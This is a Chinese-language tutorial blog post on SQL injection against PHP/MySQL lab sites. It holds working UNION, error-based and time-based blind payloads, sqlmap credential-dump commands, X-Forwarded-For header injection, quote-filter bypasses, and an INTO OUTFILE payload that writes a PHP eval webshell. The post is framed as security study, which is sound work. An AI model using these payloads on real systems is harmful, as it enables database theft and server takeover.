WEB攻防-PHP-SQL注入基础篇
上期说到关于ASP语言搭建的项目,而那个用的是ACCESS数据库,并且现在基本上看不到这个语言搭建的项目了,所以上期基本上就是为后面的这个php和别的语言铺垫内,之前留了那么久的坑,从这一期开始填
着重开始SQL注入这一篇幅~
经过之前我们在PHP开发中,我们已经了解PHP和MYSQL是如何搭建一个项目的
服务器安装MYSQL数据库,搭建多个站点,数据库里的存储的数据都由数据库管理,然后我们可以使用管理账户进行连接然后就进行数据管理,然后通过配置网站的数据库配置文件进行数据库增删查改操作
而不同网站之间我们可以选择一个用户管理和多个用户管理也就是每个数据库管理账户都不同,而这两种方式也会导致我们sql注入时候的有些不同
之前在PHP-模版开发中,我们写过一个查询新闻的操作
那时候我们就提过,这里的sql语句是我们为了更直观的看到我们在PHP中写的sql语句是如何工作的
前面我们就知道,通过控制id这个值,我们就能显示不同的页面,而他的具体工作原理,我们现在用数据库来操作看看
当你输入对应值时,如果有,他就返回信息,我们尝试来构造一个联合查询语句
这个sql语句的意思就是
UNION
:SQL 中用来合并两个查询的结果集,要求两个查询的 列数相同、数据类型相容;
SELECT 1,2,3,4,5 FROM admin
:从 admin
表中每一行取出五个值
所以他成功的返回了admin表里的字段数,现在我们把字段名改一下,不就成功的返回了admin表里的数字吗
/*这里虽然说是细讲sql注入,但是有些基础语法我就不说了,这种东西就自己搜搜mysql数据库的语法吧*/
可以看到他直接联合查询出了admin表里的数据,然后我们知道前面我们渲染的前端页面的代码的对应位置,如果我们把这个对应的数据插到对应的位置,然后用一个空的报错来显示出账号密码呢
这不就成功的把管理员账号密码给爆出来了吗,这就是典型的sql注入,由于对用户输入的数据没有进行任何的过滤,导致用户随便输入的sql语句都可以被执行,这就是SQL注入的原理
而攻击者就利用SQL语句对你进行攻击,而SQL语句是由数据库类型决定的,所以有时候注入失败并不是语句有问题,而是对方使用的数据库并不支持你这个语句,这个是需要看对方项目的,而不是乱日。
刚刚我们注入的时候是由于我们知道源码,知道数据库结构,然后就直接注入了,但是真实的项目中你肯定什么都不知道啊,所以说真实的渗透中,寻找sql注入点是分好几个步骤的
首先观察一下mysql数据库结构
其实和access差不多,但是多了个数据库名
首先就是一个项目对应一个数据库名,然后数据库下面有很多张表,然后就是字段带数据,这就是这个mysql的结构,理解了结构,我相信你对怎么开始注入就有点认知了
前面我们对access注入的时候知道,我们使用工具去靠字典爆破出里面的表和字段,这种情况就有可能导致爆破失败
而mqsql就不一样了,他是把所有数据库集中管理,在现版本的mysql中,他会内置一个数据库也就是那个information_schema这个数据库,而下面有一个表会记录他现在所有的数据库名
也就是这个表,你看,是不是所有的数据库名都在上面了,这下是不是就非常的明了呢,对注入的步骤。
information schema:存储数据库下的数据库名及表名,列名信息的数据库 information schema.schemata:记录数据库名信息的表 information schema.tables:记录表名信息的表 information schema.columns:记录列名信息表 schema name:information schema.schemata记录数据库名信息的列名值 table schema:information schema.tables记录数据库名的列名值 table name:information schema.tables记录表名的列名值 column name:information schema.columns记录列名的列名值
而这个columns表更是记录了数据库里所有的结构,那我们现在就来重头来手工注入一次
order by ~~
首先我们通过order by 来尝试这个数据库表里有多少个字段,可以看到6报错了,而5是正常的哈,这个你就一个个试
然后就知道这个表有5个字段
然后我们就输入查询字段列数来查看他信息会显示在哪里
可以看到2,3,4那几个字段的位置的信息比较容易观察,所以我们要让信息都输出在这个2,3,4这几个位置
首先我们需要查询什么信息呢
数据库版本-看是否符合information schema查询-version() 数据库用户-看是否符合ROOT型注入攻击-user() 当前操作系统-看是否支持大小写或文件路径选择-@@versioncompile os 数据库名字-为后期猜解指定数据库下的表,列做准备-database()
首先就是上面列举的基础查询,首先要确定这些,才能继续注入
所以说我让2,这里显示数据库版本,然后3这里就查询数据库名,4这里就查询操作系统
现在就可以看到版本是5.7.26,数据库名字呢是demo01,操作系统是windows的
所以说他可以支持我们对那个我们说的记录所有表查询的语句,并且知道了他的系统,所以说语句的结构也可以更规范,然后就是数据库名,就可以精准的对他进行注入,所以现在该查询他的表名了
?id=-1 UNION SELECT 1, GROUP_CONCAT(table_name), 3, 4, 5 FROM information_schema.tables WHERE table_schema='demo01';
首先观察一下语句,为什么这样写呢,我们可以先观察一下表
在那个超长的数据库中有一个TABLES的表里有数据库名和里面的表名,所以就是对应查询,然后用group_concat全部查询
豪德,现在就爆出了这个demo01下的所有表,一看这个admin就很可疑哈,所以我们现在来查询这个admin里的字段,把上面那个语句从查表换成字段即可
?id=-1 UNION SELECT 1, GROUP_CONCAT(column_name), 3, 4, 5 FROM information_schema.columns WHERE table_schema='demo01' and table_name = 'admin';
这不就成功的爆出了字段名吗,最后直接一步到胃
哈!太好啦,是管理员密码~
这完整的sql注入流程,就走完了一遍捏,是不是比access那个好使多了,就是由他内置的表造成的
当然,这是手动注入,我们也可以使用kali里的sqlmap来尝试注入
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" --dbs
首先也是查询到数据库名
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" -D demo01 --tables --batch
然后插到里面的表
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" -D demo01 -T admin --columns --batch
接着就查到字段,然后最后继续查数据
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" -D demo01 -T admin -C username,password --dump --batch
这不就也是直接日穿了吗
然后就要继续说一下不同用户管理的数据库了,前面我们看到查询数据库名的时候只看的到一张表,是因为当前数据库使用的连接用户名就是我们前面网站配置的一个用户
这个用户是专门管理这个demo01数据库的用户,但是数据库中有一个内置的root用户,他可以看到所有的数据库名
可以明显的观察到这个链接信息,然后现在思考一个问题,假如说现在我的配置文件里的用户是用root连接的,然后有个网站是本来没有漏洞的
假如说我想破解另个网站的登录,我是不是可以利用那个有漏洞的网站查询所有的数据库信息来破解另一个网站的密码呢,这就是我们说的跨库查询
union select 1,group_concat(schema_name),3,4,5 from information_schema.schemata
可以看到现在我用的root账户连接的数据库,直接是可以查询到所有数据库的信息,然后那个登录界面的样子看着很像pikachu啊(假装自己不知道)
那么不就回到了上面的注入流程了吗,这里为了方便就不手测了哈,直接工具开干
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" -D pikachu -tables --batch
前面我们已经知道他有个pikachu的数据库,现在直接对他开日
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" -D pikachu -T users --columns --batch
sqlmap -u "http://192.168.153.136:8083/news.php?id=1" -D pikachu -T users -C username,password --dump --batch
这另一个网站不就简简单单的拿下了吗
不过最后手工测试有一个要注意的点就是他的下一级问题,我们来看一下
如果你直接写表里的字段名,他就找不到对应的地方,他会以为他查询的是他自己也就是demo01里的下面的这个users,但是他没有这个表啊,所以说他就报错了,所以你要告诉他是pikachu那个数据库的users表
这不就成功的执行了注入了吗,这就是手工注入的时候需要注意的地方,当然,这时候有人要问了,miku酱,我怎么知道是什么用户登录的呢,那当然是第一步信息搜集的时候要干的事啦
这一步其实也是一开始需要做的哈,这不就能看见当前使用的连接的账户信息看吗
虽然我们访问的虽然是这个我们自己搭建的网站,但是由于他是用root用户连接的数据库,可以直接查询到mysql中的所有数据库信息,这样的话所有信息都将会被泄露捏,这就是跨库查询,所以说现实项目中最好是分开用户分别管理哈
同样的,他还有一个关于文件读取权限的漏洞,跟上面用户身份也是相关的
这个是读取文件的操作,可以看到使用普通用户查询c盘里的文件的时候,他什么都读取不到,要是我用root用户呢,
可以看到他能读取到里面的内容,我们去浏览器看看
这就直接读取到了里面文件的信息,既然这个都能执行,那我们是不是可以利用这个生成一个后门文件呢,但是上传后门文件需要我们知道他的网站路径在哪,我们怎么知道他的网站路径呢,前面我们实验的时候知道,我们这个搭建的时候没有进行容错处理,所以导致报错的时候会导致直接输出网站路径,我们看一下
可以到他直接是把整个路径都直接显示出来了,那我们是不是可以直接利用这个路径呢
?id=-1 union select 1,'<?php eval($_POST[1]); ?>',3,4,5 into outfile 'C:\\phpstudy_pro\\WWW\\php01\\heideke.php'
可以看到直接是把这个一句话木马成功的插入进这个文件里并且上传了
并且也是可以正常连接的,蛙趣,sql注入芥末厉害的吗,而这个权限问题除了root问题以外,还有一个mysql配置文件里的一个控制决定的
就是这个secure_file_prive,他跟php那个一样,也是控制路径权限的,只要你限制他了,他也就不能读取了
讲到这里,现在应该就明白了这个MYSQL注入他的思路了吧
首先第一步就是信息搜集,查到相关的重要的几个信息(系统,用户,数据库名,版本)
根据这几个信息去选择sql注入的方案
然后根据用户选择对应的方案,因为有的时候不是root用户权限不够呀,有些东西你都读不到,而root用户就可以先测试一下读写,然后再去获取数据
为什么说root先去测试读写呢,因为你都可以直接有权限读写了直接是上传后门拿下权限,这些数据库信息啥的不是随便看吗,而我们获取数据库信息的最根本目的就是获取到里面的账号密码登录到网站后台,然后想办法上传后门拿下权限,不要本末倒置了捏,拿下服务器权限了不是想怎么搞就怎么搞了吗
/*
这里补充一个小技巧,在你查询的时候,比如
最后我们接的地址是一个单引号,但是有的网站他给你符号ban了怎么办,这个时候有个编码的小技巧
我们把demo01用16进制编码一下,然后前面加个0x,他也可以正常的执行
他也是能正常解析的,这个是受mysql支持的,在表示路径,表名等等的时候都可以用上
*/
<-2025----分割线-5-26---->
在学习php开发的时候,我们知道传递数据有两种方法,一个是get请求,一个是post请求,一个直接在url中显示,一个是藏在数据包中,我们在sql注入的时候,一般都是直接对url进行修改,这就是get请求,但是有时候你明知道有注入点,但是直接在url中攻击有时候是没用的捏,所以同样的,SQL注入中也是要区分数据请求方法的,快端上来罢
首先说一下请求类型
首先我们知道,我们前面在构造sql语句的时候没有使用任何过滤,所以说,当我们输入值的时候,他就直接正常传入值然后查询
这是普通的查询,但是要是用户输入字符串呢
他就直接报错了,所以这时候我们需要加上引号
所以说,我们在黑盒测试中并不知道对方使用的是什么sql语句,这就会导致我们直接注入会失败,同样的,他还有好几种方式
这就会对我们sql注入造成影响,有什么印象呢,我们来做个小实验
$sql = "SELECT * FROM news WHERE id = '$id'";
我们在语句中添加引号,查询会发生什么呢
可以看到直接是注入不了,为什么呢,因为他把整个语句都当成数据去查询了,但是没有这个数据,他不会报错,只会说找不到,所以这时候我们就需要把这个引号给闭合掉
这样就成功注入了
但是要是再复杂一点呢
$sql = "SELECT * FROM news WHERE id LIKE '%$id%'";
虽然这里执行成功了,但是我们为了严谨和突发情况,还是要正常的闭合语句
这样就把所有符号都给闭合了
然后就是框架里,他喜欢把参数加个括号
$sql = "SELECT * FROM news WHERE id = ('$id')";
可以看到他就直接报错了
不过这种也好说,直接闭合就可以
还有一种
$sql = "SELECT * FROM news WHERE (id = '$id')";
不过这种刚好我们也闭合了,跟前面一样
举这么多例子就是想说,由于sql语句的不确定性,即使这里有注入点,但是我们测试的时候也是会失败,这时候我们只能靠猜了
这种情况我们就是无法解决了,工具手工能测就测,测不出来只能说他防护的好,可恶。
然后就是请求方法
我们常见的全局变量就有:GET,POST,FILES,HTTP头等等
这些我们前面都见过了,简单的举个例子
简单的传参
不同的请求方法不同,我们攻击的时候需要的方式也就不同
比如POST请求,他在url中无法观看,那我们该怎么注入呢,前面我们注入过一个登录,那个对输入框里的数据没有任何过滤,假如他有过滤呢,我们不能直接在输入框中直接注入,所以我们此时来抓包查找
可以看到我们现在就在这里注入,然后发现这里是有两列,我们就在这里构造语句
也是成功执行了捏,后面也就跟get操作一样了,所以说这就是关于post的sql注入,主要的还是通过抓包来看他是什么传参,然后再说去构造payload,最好的就是能看源代码了
然后就是我们开发中讲过的php中的全局变量
User-Agent:
使得服务器能够识别客户使用的操作系统,游览器版本等.(很多数据量大的网站中会记录客户使用的操作系统或浏览器版本等存入数据库中)
Cookie:
网站为了辨别用户身份、进行session跟踪而储存在用户本地终端上的数据K-Forwarded-For:简称XFF头,它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])
Rerferer:浏览器向 WEB 服务器表明自己是从哪个页面链接过来的
Host:客户端指定自己想访问的WEB服务器的域名/IP地址和端口号
这些全局变量的作用我相信前面开发过来后已经知道作用了,这里就不多说了,而现在把他又拿出来是干什么呢,我们知道有的时候我们可以把用户的信息给存储到数据库中,而既然能存储到数据库中不也是一个注入点吗,只要手动的修改数据包,不也能通过这个来进行注入吗
1、用户登录时
2、登录判断IP时
实现:代码配置固定IP去判断-策略绕过实现:数据库白名单IP去判断-select注入实现:防注入记录IP去保存数据库-insert注入3、文件上传将文件名写入数据库-insert注入
用代码实现
<?php include './config.php'; $username=$_POST['username']; $password=$_POST['password']; function getip() { if (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $iplist = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); return trim($iplist[0]); } elseif (!empty($_SERVER['HTTP_CLIENT_IP'])) { return $_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['REMOTE_ADDR'])) { return $_SERVER['REMOTE_ADDR']; } return 'unknown'; } $ip=getip(); //echo $ip; if(isset($username)){ //判断IP是不是在数据库中 引发xff注入 数据库存储ip导致的注入 //IP配置到代码中 那就不是产生注入了 //$sql="select * from admin where ip='$ip'"; //绕过隐患 ip放在配置文件或代码申明中 if($ip=='127.0.0.1'){ echo "<script>alert('可以登录')</script>"; } else{ echo "<script>alert('拒绝访问')</script>"; } // // //}; // $data=mysqli_query($con,$sql); // if(mysqli_num_rows($data)>0){ // while ($row=mysqli_fetch_row($data)) { // echo "username".$row[0]."<br>"; // echo "password:".$row[1]."<br>"; // } // }else{ // echo "<script>alert('拒绝访问')</script>"; // } }
前端代码依旧老东西,比如我们正常的去登录的时候
由于一开始获取的ip是我们自己的ip,所以登录的时候他就直接拒绝访问了,但是我们插入一个数据头呢
X-Forwarded-For: 127.0.0.1
你就可以发现能登录了,然后现在我们是写死的,如果现在我们来用数据库来接收呢
if(isset($username)){ //判断IP是不是在数据库中 引发xff注入 数据库存储ip导致的注入 //IP配置到代码中 那就不是产生注入了 $sql="select * from admin where ip='$ip'"; //绕过隐患 ip放在配置文件或代码申明中 // if($ip=='127.0.0.1'){ // echo "<script>alert('可以登录')</script>"; // } // else{ // echo "<script>alert('拒绝访问')</script>"; // } // // //}; $data=mysqli_query($conn,$sql); if(mysqli_num_rows($data)>0){ while ($row=mysqli_fetch_row($data)) { echo "username".$row[0]."<br>"; echo "password:".$row[1]."<br>"; } }else{ echo "<script>alert('拒绝访问')</script>"; } }
可以看到他就直接爆出了数据库信息,现在要是注入payload呢
X-Forwarded-For: 127.0.0.1' UNION SELECT 1,database(),user() #
最后的结果就是这样,然后我们就又可以愉快的日他咯~~~
当然这里是因为由于php里的这个全局变量而造成的伪造,如果使用其他的方法的haul,这个绕过就失效了,而说这些的目的就是为了开阔思路,要知道数据发送有很多种,没准这个不行而那个就行了,所以说,多日两下,没准这个网站就被你拿下了
最后一个就是数据请求格式了,这个就不多说了,看过我前面那个靶场的演示就知道,数据传递中被加密了
这个就不多说了,一看就明白,对payload加密后就同样的攻击即可
<-2025-----分割线-5-27---->
SQL盲注
首先我们来理解一个概念
前面我们学习开发的时候知道,一个网站一般都会有的功能就是增删查改,而这四个功能基本就是对数据库进行操作,所以说对应的操作都有对应的SQL语句
数据查询
SELECT * FROM 表名 where 字段名 = $变量
新增用户
SELECT INTO 表名(`字段名`) VALUES ('数据')
删除用户
DELETE FROM 表名 字段名 = $变量
修改用户
UPDATE 表名 SET 字段名 = $变量 where = 条件
上面就演示了四种不同的数据库操作,而为什么为说这个呢,在你对数据库的操作中,我们对数据其实并不是特别敏感,最重要的是操作最后的结果,是否成功或者错误,而这就是盲注重要的概念
而什么是盲注呢,他就是在注入的过程中,获取的数据不能回显到前端页面,我们需要利用一些方法进行判断或者尝试,这个过程就是盲注
而盲注一般分为三大类
基于布尔的SQL盲注-逻辑判断
基于时间的SQL盲注-延时判断
基于报错的SQL盲注-报错回显
前面我们知道,我们对新闻页面操作的时候,输入id值就会显示对应的页面,但是如果你把回显去掉呢
虽然确实存在id为1的页面,但是由于我们关闭了回显,他这里什么都看不到,既然什么都看不到了,那你注入的时候他不就什么都不回显了吗
首先尝试一下正常的,然后去关掉回显
你就会发现他什么都没有显示,哦不,这样我怎么注入呢呜呜呜
首先就是逻辑判断,首先来尝试一个语句
SELECT * FROM news WHERE id = 1 AND LENGTH(DATABASE())=7;
这个是查询数据库名称的长度,而我们数据库的demo01是6位,所以这里没有回显,再试一下
他又有回显了,哇塞,而他这种逻辑判断还有很多
SELECT * FROM news WHERE id = 1 AND LEFT(DATABASE(),1)='b';
这个也是显而易见,判断数据库左边名字的第一位
还有很多这里就不一一举例了,所以说首先我们可以去判断他的数据库名字的位数
顺着一位一位改变,名字就能猜出来了,虽然但是这个布尔盲注也是要回显的,所以说,我们继续来看别的操作
基于延时的盲注,而他就什么都不需要了
SELECT * FROM news WHERE id = 1 AND if(1>1,SLEEP(5),SLEEP(1));
这句话的意思就是通过if来判断,如果满足就执行前面语句,sleep5,不满足则反之,而sleep简单理解成他会睡着多少秒
可以看到下面的运行时间是1秒钟,而要是他成立了呢
他就运行了五秒,而这个到底干啥用的呢,你想想,如果你查询一个条件他的语句要是成立了,那他查半天的话,那你不就知道,你这个语句成功执行了吗,这就不需要回显了对不对,蛙趣,好高级啊
SELECT * FROM news WHERE id = 1 AND IF(LENGTH(DATABASE())=6,SLEEP(5),SLEEP(1));
这不就是最简单的例子吗
这就不需要回显了,虽然没有数据,但是我们知道我们等了五秒钟,这已经足够了
在网络中我们也可以看到他数据返回的时长,那这样不就可以测测测了吗
还有一种就是报错注入,首先在代码中添加显示全部报错信息的
die("查询失败: " . mysqli_error($conn));
然后报错处理
SELECT * FROM news WHERE id = 1 AND updatexml(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1);
可以看到下面爆出的错误里面,就有我们需要的信息
在浏览器中依旧如此,这就是报错盲注,不过这个同样的其实也是要回显的,因为需要对方有这个报错显示
具体的函数原理还有别的就需要自己搜集吧,这些我们基本都直接工具日了,而且手工的话非常麻烦,要慢慢一个一个的注入
现在我们就清楚了三种盲注的方法,这三种都有各个的优缺点和是使用的区别。
你再回去想一下上面说的增删查改,我们不需要他回显,我们只需要知道他是否执行成功,那这样的话,用什么方法不就明明白白了吗
所以现在就来准备一个可以增删查改的页面,直接让大肘子给你写好就完事了,这里就不贴出来了
然后我们来实验一下,首先观察一下sql语句
既然是这样的,那我们就来构造一下payload
0 or updatexml(1,concat(0x7e,(select database())),1)
可以看到通过报错注入,也可以获得我们需要的信息,同样的我们也可以用延时来实验
0 or if(1=1,sleep(5),0)
这个也是没有问题捏
而布尔的注入就不用想了吧,由于删除这里没有任何回显,他只有个删除失败,要不然就报错,没有任何数据的回显,所以说,这里并不适用布尔注入
叽里咕噜讲了那么多理论,现在我们找个老登网站试试手
整了两个cms来耍,这两个网站就有我们前面说的漏洞,我们来看看,这里只是说利用漏洞,至于怎么发现的,为什么这里会有漏洞,那还是等后面学会了代码审计就知道了哈,不过这里我们就简单的分析一下,他这个漏洞造成的原理
因为知道他新增这里有漏洞,那我们就搜索insert ,观察他的代码,一般都会去看提交部分的逻辑,看他是否有容错或者别的回显能让我们看到
往下翻就可以看到关于sql语句报错的东西了,这不就跟我们前面自己敲的一样吗,所以说,他这里就有我们可以利用的报错注入
而在主页中,他规定了访问的路径规定,所以我们要用他规定的语法去访问,不能像一般那样直接路径访问
但是访问的时候又会出现这种错误,说明这里我们缺少了一些值,然后这个参数从哪里来呢,我们搜搜看
可以找到三个关于表单提交的地方,说明是由这个文件来给这个shubmit来传递值,所以我们去访问这个页面看看是干啥的
观察一下发现是留言的地方,那这里不就可以注入了吗,前面我们搜索的之后知道他是对应一个表名的,我们去数据库里看一下里面有什么
可以看到他内置的三个评论,说明确实是对应的这个数据库,然后再观察一下他的插入信息
发现他的数里面都是带引号的,所以我们构造payload的时候要注意闭合单引号
' and updatexml(1,CONCAT(0x7e,(SELECT DATABASE()),0x7e),1) and '
随便找个地方注入试试
嘿,这不就把他的数据库名给爆出来了吗,这个小网站漏洞还挺多,有兴趣就自己打着玩哈,我们看另一个网站
另一个网站就是delete注入了,所以我们直接搜索
这里就找到了一个关于会员还是什么东西的一个删除的代码,观察后发现他没有关于sql报错的语句,也没有看到关于显示数据的代码,只有一个判断代码是否执行成功的流程,所以这里只能用延时了,所以我们现在就去尝试一下,
他是个后台漏洞,所以我们还得先进后台
不要问为什么在后台,是洞你就日,别管在哪(狗头),由于他这个是个后端的语言,前端并没有渲染,我们该怎么办呢,我们前面学习安全开发的时候知道有个模版这种东西,但是其实也用太纠结了,因为,因为看文件名就知道他是干啥的
找到这里来,发现确实有删除的操作,但是这里也没有东西给我们测测呀,该怎么办呢,我们首先先寻找一下这个存储信息的数据库的表信息
根据下面的sql语句知道他表的位置,我们去看看
没发现啥,但是我们也可以直接注入
当你把鼠标放在删除按钮上的时候,可以看到他会执行的参数,那我现在就对他进行延时注入,直接用or来注入一个他没有的参数
?del=4 or if(1=1,sleep(3),sleep(0))
这里由于为了严谨,我们就来抓包看看他的返回时间
首先发送普通包,可以看到右下角的返回时间很短,而要是我们注入之后呢
可以看到他确实返回的时间非常慢,所以他这里确实有延时注入的地方,然后就可以疯狂测测了,但是特别慢哈,这种时候我感觉还是用工具,脚本实在,然后就不演示了哈,具体的payload网上一大堆,随便测,还有一个要提的就是他内置的过滤,我们先注入一个查找数据库名的试试
?del=4 or if(left(database(),1)='k',sleep(3),sleep(0))
我们知道他的数据库名和长度,这里应该是匹配的呀,为什么这里还是那么快,仔细看我增加的调试代码的部分,右边的返回包中可以看到,在我们‘k’的这个部分被过滤了,这个是php里的一个机制,但是我们可以绕过呀,我们之前提过一次哈,但是这里用的是ASCII码
k的十进制ASCII码对应的就是107,这时候我们就不需要引号了
?del=4 or if(ord(left(database(),1))=107,sleep(3),sleep(0))
耶,可以发现他也是成功了,没有问题~~
而关于这个盲注的使用呢,基本上也就是当你工具跑过之后不行,手工测试的时候使用的,配合工具来一起注入,如果工具+手工都不行的话,那可能这个网站就没有这个漏洞了,那关于防火墙的就更不用说了。
